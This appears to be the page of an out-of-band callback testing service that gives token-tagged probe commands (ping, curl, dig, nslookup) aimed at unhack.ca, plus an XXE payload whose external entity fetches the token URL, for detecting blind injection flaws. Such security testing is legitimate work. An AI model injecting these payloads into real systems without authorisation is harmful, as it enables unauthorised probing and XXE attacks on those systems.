$ ping -c1 -p 00a499fd3663228353ee94fb885ac500 unhack.ca
 
$ curl http://unhack.ca/p/a499fd3663228353ee94fb885ac5
 
$ dig a499fd3663228353ee94fb885ac5 @unhack.ca
 
$ dig a499fd3663228353ee94fb885ac5.ns.unhack.ca
 
C:\> nslookup a499fd3663228353ee94fb885ac5 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/a499fd3663228353ee94fb885ac5">]>
    <foo>&xxe;</foo>
Waiting for ping...